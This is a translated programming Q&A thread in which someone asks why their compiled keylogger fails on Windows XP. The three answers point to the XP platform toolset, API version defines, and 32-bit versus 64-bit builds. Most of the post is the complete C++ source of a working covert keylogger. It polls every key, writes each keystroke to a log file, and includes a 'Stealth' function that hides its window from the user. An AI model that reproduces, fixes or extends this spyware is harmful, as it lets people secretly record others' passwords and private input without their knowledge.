为什么这段代码无法在Windows XP中运行

时间:2014-10-17 11:45:24

标签: c winapi keylogger

我正在Visual Studio 2013中编译以下代码。它在我的Windows 7上运行,我在其上编译代码。但是,当我将exe文件移动到另一个窗口,如windows xp sp2时,它无法在其上运行。当我在windows xp sp2上运行此exe文件时,在输出中显示以下消息。

  

keylogger.exe不是有效的win32应用程序。

如何解决此错误?以下代码是程序的源代码,有错误。

#include <iostream>
#include <windows.h>
#include <winuser.h>

using namespace std;     //used to avoid the compilation errors because of redefinition of variables.

int SaveLogs(int key_stroke, char *file);
void Stealth();  //Declare stealth function to make you keylogger hidden

int main()
{
    Stealth();          // This will call the stealth function.
    char i;             //Here we declare 'i' from the type 'char'

    while (1){
        // Here we say 'while (1)' execute the code.
        for (i = 8; i <= 190; i++){
            if (GetAsyncKeyState(i) == -32767)
                SaveLogs(i, "MYLOGS.txt"); 
            // This will send the value of 'i' and "MYLOGS.txt" to our SaveLogs function.
        }
    }

    system("PAUSE"); // Here we say that the system have to wait before exiting.
    return 0;
}

int SaveLogs(int key_stroke, char *file)   // Here we define our SaveLogs function.
{
    if ((key_stroke == 1) || (key_stroke == 2))
        return 0;

    FILE *OUTPUT_FILE;
    OUTPUT_FILE = fopen(file, "a+");

    cout << key_stroke << endl;

    if (key_stroke == 8)  // The numbers stands for the ascii value of a character
        fprintf(OUTPUT_FILE, "%s", "[BACKSPACE]");
    else if (key_stroke == 13)
        fprintf(OUTPUT_FILE, "%s", "\n");
    else if (key_stroke == 32)
        fprintf(OUTPUT_FILE, "%s", " ");
    else if (key_stroke == VK_TAB)
        fprintf(OUTPUT_FILE, "%s", "[TAB]");
    else if (key_stroke == VK_SHIFT)
        fprintf(OUTPUT_FILE, "%s", "[SHIFT]");
    else if (key_stroke == VK_CONTROL)
        fprintf(OUTPUT_FILE, "%s", "[CONTROL]");
    else if (key_stroke == VK_ESCAPE)
        fprintf(OUTPUT_FILE, "%s", "[ESCAPE]");
    else if (key_stroke == VK_END)
        fprintf(OUTPUT_FILE, "%s", "[END]");
    else if (key_stroke == VK_HOME)
        fprintf(OUTPUT_FILE, "%s", "[HOME]");
    else if (key_stroke == VK_LEFT)
        fprintf(OUTPUT_FILE, "%s", "[LEFT]");
    else if (key_stroke == VK_UP)
        fprintf(OUTPUT_FILE, "%s", "[UP]");
    else if (key_stroke == VK_RIGHT)
        fprintf(OUTPUT_FILE, "%s", "[RIGHT]");
    else if (key_stroke == VK_DOWN)
        fprintf(OUTPUT_FILE, "%s", "[DOWN]");
    else if (key_stroke == 190 || key_stroke == 110)
        fprintf(OUTPUT_FILE, "%s", ".");
    else
        fprintf(OUTPUT_FILE, "%s", &key_stroke);

    fclose(OUTPUT_FILE);
    return 0;
}

void Stealth()
{
    HWND Stealth;
    AllocConsole();
    Stealth = FindWindowA("ConsoleWindowClass", NULL);
    ShowWindow(Stealth, 0);
}

3 个答案:

答案 0 :(得分:3)

这与您的程序无关,但与不支持Windows XP的平台工具集无关。

在Visual Studio 2013中,使用命令 PROJECT - 属性,并在配置属性 - &gt; General-&gt; Platform Toolset 下选择“Visual Studio 2013 - Windows XP( v120_xp)“或包含”_xp“的任何其他工具集。

答案 1 :(得分:2)

假设您选择了正确的目标体系结构(x86与amd64),可能您使用的是WinXP不支持的Winapi版本。 您必须正确设置WINVER_WIN32_WINNT定义,以定义要使用的API版本。如果你将它们设置为低,一些功能可能不可用,但你的程序也将在较旧的Windows版本上运行,预先安排正确的运行时dll安装。

仔细阅读本文以了解如何选择API级别:
http://msdn.microsoft.com/en-us/library/windows/desktop/aa383745%28v=vs.85%29.aspx

答案 2 :(得分:1)

您的Windows 7是64位

您的Windows XP是32位

Keylogger.exe是一个64位应用程序,只能在64位Windows = Windows 7上运行